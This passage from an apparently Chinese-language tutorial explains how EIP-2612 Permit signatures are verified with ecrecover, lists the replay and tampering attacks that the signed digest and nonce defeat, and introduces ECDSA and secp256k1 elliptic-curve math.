User-&gt;&gt;Contract: transferFrom(owner, to, value)</code></pre><p><strong>流程要点说明</strong>：</p><table><thead><tr><th>步骤</th><th>执行者</th><th>说明</th></tr></thead><tbody><tr><td>1. 获取 nonce</td><td>前端 → 合约</td><td>每个地址的 nonce 唯一且递增，防止签名被重复使用</td></tr><tr><td>2. 构造消息</td><td>前端</td><td>按 EIP-712 格式组装 domain 和 message，确保格式与合约一致</td></tr><tr><td>3. 钱包签名</td><td>钱包</td><td>用户私钥对 digest 签名，产生 (v, r, s)，<strong>此步骤无 Gas</strong></td></tr><tr><td>4. 提交签名</td><td>前端 → 合约</td><td>将签名和参数提交到链上，可由用户或中继者支付 Gas</td></tr><tr><td>5. 合约验证</td><td>合约</td><td>重建 digest 并用 ecrecover 验证签名者身份</td></tr><tr><td>6. 后续操作</td><td>任何人</td><td>授权完成后，spender 可以调用 transferFrom</td></tr></tbody></table><h3 id="3-5-为什么签名能证明身份？">3.5 为什么签名能证明身份？</h3><p>这是理解 Permit 的关键。签名与消息之间存在<strong>密码学绑定</strong>关系：</p><pre><code class="highlight mermaid">flowchart TD    subgraph SignProcess[&quot;签名过程&quot;]        A1[&quot;用户用私钥签名 digest&quot;] --&gt; A2[&quot;产生签名 (v, r, s)&quot;]    end    subgraph VerifyProcess[&quot;验证过程&quot;]        B1[&quot;合约用 ecrecover(digest, v, r, s)&quot;] --&gt; B2[&quot;反推出地址&quot;]        B2 --&gt; B3&#123;&quot;地址 == owner?&quot;&#125;        B3 --&gt;|是| B4[&quot;✅ 验证成功&quot;]        B3 --&gt;|否| B5[&quot;❌ 验证失败&quot;]    end    A2 --&gt; B1    subgraph AttackScenarios[&quot;攻击场景分析&quot;]        C1[&quot;篡改 value（金额）&quot;] --&gt; C2[&quot;digest 变了&quot;]        C3[&quot;篡改 spender（授权给谁）&quot;] --&gt; C2        C4[&quot;篡改 deadline&quot;] --&gt; C2        C5[&quot;重放到其他合约&quot;] --&gt; C6[&quot;DOMAIN_SEPARATOR 不同&quot;]        C6 --&gt; C2        C7[&quot;重复使用签名&quot;] --&gt; C8[&quot;nonce 已递增&quot;]        C8 --&gt; C2        C2 --&gt; C9[&quot;恢复出错误地址&quot;]        C9 --&gt; B5    end</code></pre><p><strong>攻击场景详解</strong>：</p><table><thead><tr><th>攻击方式</th><th>攻击者行为</th><th>防护机制</th><th>结果</th></tr></thead><tbody><tr><td>篡改金额</td><td>修改 <code>value</code> 为更大数值</td><td>digest 包含 value</td><td>ecrecover 得到错误地址 → 失败</td></tr><tr><td>篡改授权对象</td><td>修改 <code>spender</code> 为自己</td><td>digest 包含 spender</td><td>ecrecover 得到错误地址 → 失败</td></tr><tr><td>延长有效期</td><td>修改 <code>deadline</code></td><td>digest 包含 deadline</td><td>ecrecover 得到错误地址 → 失败</td></tr><tr><td>跨合约重放</td><td>在其他合约使用签名</td><td>DOMAIN_SEPARATOR 含合约地址</td><td>digest 不同 → 失败</td></tr><tr><td>跨链重放</td><td>在其他链使用签名</td><td>DOMAIN_SEPARATOR 含 chainId</td><td>digest 不同 → 失败</td></tr><tr><td>重复使用</td><td>多次提交同一签名</td><td>nonce 递增机制</td><td>第二次 nonce 不匹配 → 失败</td></tr></tbody></table><p><strong>核心原理图示</strong>：</p><pre><code class="highlight mermaid">flowchart LR    A[&quot;签名 (v, r, s)&quot;] &lt;--&gt;|&quot;数学绑定&quot;| B[&quot;digest&quot;]    B --&gt; C[&quot;任何篡改&quot;]    C --&gt; D[&quot;ecrecover 恢复出错误地址&quot;]    D --&gt; E[&quot;❌ 验证失败&quot;]</code></pre><p><strong>为什么数学绑定是安全的？</strong></p><p>ECDSA 签名的安全性基于<strong>椭圆曲线离散对数问题</strong>：</p><ul><li>签名 <code>(r, s)</code> 是通过私钥 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span></span></span></span> 和消息哈希 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span></span></span></span> 计算得出</li><li>公式：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span></li><li>如果 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span></span></span></span>（digest）改变，用原签名恢复出的公钥就会不同</li><li>攻击者无法在不知道私钥的情况下为新的 digest 生成有效签名</li></ul><blockquote><p>💡 <strong>核心原理</strong>：签名 (v, r, s) 与 digest 是数学绑定的。任何篡改都会导致 <code>ecrecover</code> 恢复出错误的地址。这就是密码学的魔法！</p></blockquote><hr><h2 id="4-ECDSA-密码学基础">4. ECDSA 密码学基础</h2><h3 id="4-1-椭圆曲线密码学概述">4.1 椭圆曲线密码学概述</h3><p>以太坊使用 <strong>secp256k1</strong> 椭圆曲线，与比特币相同。</p><p><strong>椭圆曲线方程</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0585em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9474em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></span></p><p>其中 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 是一个大素数：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9474em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">256</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9474em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">32</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">977</span></span></span></span></span></p><h3 id="4-2-关键参数">4.2 关键参数</h3><p>secp256k1 曲线参数：</p><table><thead><tr><th>参数</th><th>含义</th><th>值</th></tr></thead><tbody><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span></td><td>有限域大小</td><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">256</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">32</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">977</span></span></span></span></td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span></td><td>生成点 (Generator)</td><td>固定的曲线上的点</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span></td><td>曲线阶 (点的个数)</td><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4831em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">256</span></span></span></span></span></span></span></span></span></span></span></span></td></tr></tbody></table><p><strong>生成点 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 的坐标</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">G</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">x</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6111em;"></span><span class="mord text"><span class="mord texttt">0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798</span></span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">G</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">y</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6111em;"></span><span class="mord text"><span class="mord texttt">0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8</span></span></span></span></span></span></p><h3 id="4-3-密钥对生成">4.3 密钥对生成</h3><p><strong>私钥</strong> <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span></span></span></span>：随机选择的 256 位整数，满足 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span></p><p><strong>公钥</strong> <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span>：椭圆曲线上的点</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span></span></p><p>这里 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 表示椭圆曲线上的<strong>点乘法</strong>（<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 与自身相加 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span></span></span></span> 次）。</p><p><strong>安全性基础</strong>：椭圆曲线离散对数问题 (ECDLP)</p><blockquote><p>已知 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span>，计算 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span></span></span></span> 在计算上不可行。</p></blockquote><hr><h2 id="5-椭圆曲线数学">5. 椭圆曲线数学</h2><h3 id="5-1-点加法-Point-Addition">5.1 点加法 (Point Addition)</h3><p>给定曲线上两点 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，计算 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>：</p><p><strong>当 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span> 时</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0963em;vertical-align:-0.836em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.2603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.836em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9474em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" 